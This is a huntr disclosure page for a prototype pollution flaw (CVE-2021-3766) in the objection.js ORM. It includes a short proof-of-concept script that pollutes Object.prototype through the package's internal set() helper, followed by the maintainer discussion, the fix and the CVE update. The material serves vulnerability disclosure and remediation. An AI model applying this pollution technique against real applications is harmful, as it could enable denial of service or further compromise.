

Prototype Pollution in vincit/objection.js

Valid Reported on Aug 30th 2021

0

Description

objection package is vulnerable to Prototype Pollution.

Proof of Concept

Create the following PoC file:

```
// poc.js
var {set} = require("objection/lib/utils/objectUtils")
let obj = {}
console.log("Before: " + {}.polluted)
set(obj, ['__proto__'], 'polluted'), 'Yes! Its Polluted')
console.log("After: " + {}.polluted)
```

Execute the following commands in terminal:

```
npm i objection # Install affected module
node poc.js # Run the PoC
```

Check the Output:

```
Before : undefined
After  : Yes! Its Polluted
```

Impact

It may lead to Information Disclosure/DoS/RCE.

Occurrences

JS objectUtils.js L246

CVE
CVE-2021-3766
(Published)

Vulnerability Type
CWE-1321: Prototype Pollution

Severity
High (7.5)

Affected Version
*

Visibility
Public


Status
Fixed

Found by



ready-research
@ready-research
pro

Fixed by



ready-research
@ready-research
pro

This report was seen 497 times.

ready-research submitted a patch a year ago

ready-research a year ago

Researcher

Chat with us

@admin Can you please try to contact the maintainers mentioned in <https://github.com/Vincit/objection.js/issues/2097>

Z-Old a year ago

Admin

Hey ready research, I've just emailed the maintainers for you.

We have contacted a member of the **vincit/objection.js** team and are waiting to hear back a year ago

A **vincit/objection.js** maintainer a year ago

Maintainer

Hi, I'm the objection maintainer Sami Koskimäki.

I don't quite understand how the POC shows objection has a vulnerability? Yes, objection's codebase contains a function that can be used to pollute a prototype, but how would one use this vulnerability to perform an attack using objection? I'm pretty certain nobody takes a internal method from objection and uses it, even though it is possible.

I can of course fix this, but how does opening this issue really benefit anyone? Is there REALLY any kind of threat to anyone from this vulnerability?

ready-research a year ago

Researcher

@maintainer Yes, no one will take a internal method directly to use. But when a user uses the objection package there might be a possibility of using this vulnerable functionality also. Security is all about edge cases. So recommending to fix this issue.

A **vincit/objection.js** maintainer a year ago

Maintainer

That's true. I just walked through the code and the `set` method is used quite extensively. I'll fix this asap. Thank you for bringint this up.

A **vincit/objection.js** maintainer a year ago

Maintainer

There seem to be other function in the objectUtils.js file that have the same vulnerability, like zipObject. I'll fix those at the same time. I guess the correct fix here is just to check for `__proto__` property name and prevent assignment? Do I also need to check for `prototype` when `obj instanceof Function` ? Though I'm pretty sure the function is never used to assign properties for constructors.

ready-research a year ago

Researcher

@maintainer Posted the patch also. Please review and let me know your thoughts on this <https://github.com/vincit/objection.js/compare/HEAD...ready-research:ready-research-patch-1>

If everything is fine I will raise a pull. Thanks.

ready-research a year ago

Researcher

<https://github.com/ready-research/objection.js/commit/1360294cf10651815bcc8c6809c25a637f01ddd1>

ready-research a year ago

Researcher

@maintainer I am not sure about the vulnerability in zipObject function. Can u please provide me a test case if you think that is vulnerable.

A **vincit/objection.js** maintainer validated this vulnerability a year ago

ready-research has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **vincit/objection.js** maintainer marked this as fixed with commit **46b842** a year ago

ready-research has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Jamie Slome a year ago

Admin

CVE published! 🎉

A **vincit/objection.js** maintainer a year ago

Maintainer

I just released version <https://www.npmjs.com/package/objection/v/2.2.16> of objection from **v2** branch that has the fix cherry picked from master. The fix commit in the branch is `46b842a6bc897198b83f41ac85c92864b991d7e9` which is different from the fixing commit in master (obviously). How does this work? How does the CVE get resolved?

Jamie Slome a year ago

Admin

@maintainer - we can get this updated for you!

Can you please re-confirm the patched package version and patching commit that you would like to be reflected on the CVE?

A vincit/objection.js maintainer a year ago

Maintainer

Thank you!

The fixed version is: 2.2.16

The fixing commit is:
<https://github.com/Vincit/objection.js/commit/46b842a6bc897198b83f41ac85c92864b991d7e9>

Or do you want me to confirm them somewhere else?

Jamie Slome a year ago

Admin

Perfect! ❤️

I have requested changes to the CVE and have also reflected these changes on this report page.

Jamie Slome a year ago

Admin

Requested changes:

<https://github.com/CVEProject/cvelist/pull/2873>

Jamie Slome a year ago

Admin

Changes applied!

Sourav Kumar a year ago

Also the prototype pollution in an ORM like Objection can be used to perform sql injection in their dependents applications.

A vincit/objection.js maintainer a year ago

Maintainer

Sourav Kumar, I'll personally give you 100\$ if you can create a real POC of how to attack a server through objection using this vulnerability. There is absolutely no way to use this vulnerability in any real situation, even though there is a vulnerable function inside objection.

I understand that fixing this was a good idea, but I feel like people finding and reporting this kind of vulnerabilities are not actually helping the community or the world. This just caused people to doubt objection and caused me and other open source developers more FREE work.

I'm absolutely not belittling the importance of security in open source, but I think there needs to be at least some possibility to exploit a vulnerability when one is reported. In this case there absolutely isn't. I challenge you to try.

A vincit/objection.js maintainer a year ago

Maintainer

@admin At least Trivy scan is still reporting the vulnerability as unresolved for objection 2.2.16. Could you please take care of this? I'm constantly getting private messages from objection users even though the vulnerability has been fixed in 2.2.16. Here's the output from Trivy scan

=====

Total: 2 (CRITICAL: 2)

LIBRARY	VULNERABILITY ID	SEVERITY	INSTALLED VERSION	FIXED VERSION
objection	CVE-2021-3766	CRITICAL	2.2.16	Proto
				-->av

Jamie Slome a year ago

Admin

@maintainer - we have updated the CVE and so, it is likely that their database is just taking time to reflect/update.

It might be worth reaching out to them to request how long it takes for their tool to reflect changes against CVEs.

Sign in to join this conversation

2022 © 418sec

huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

part of 418sec

[company](#)

[about](#)

[team](#)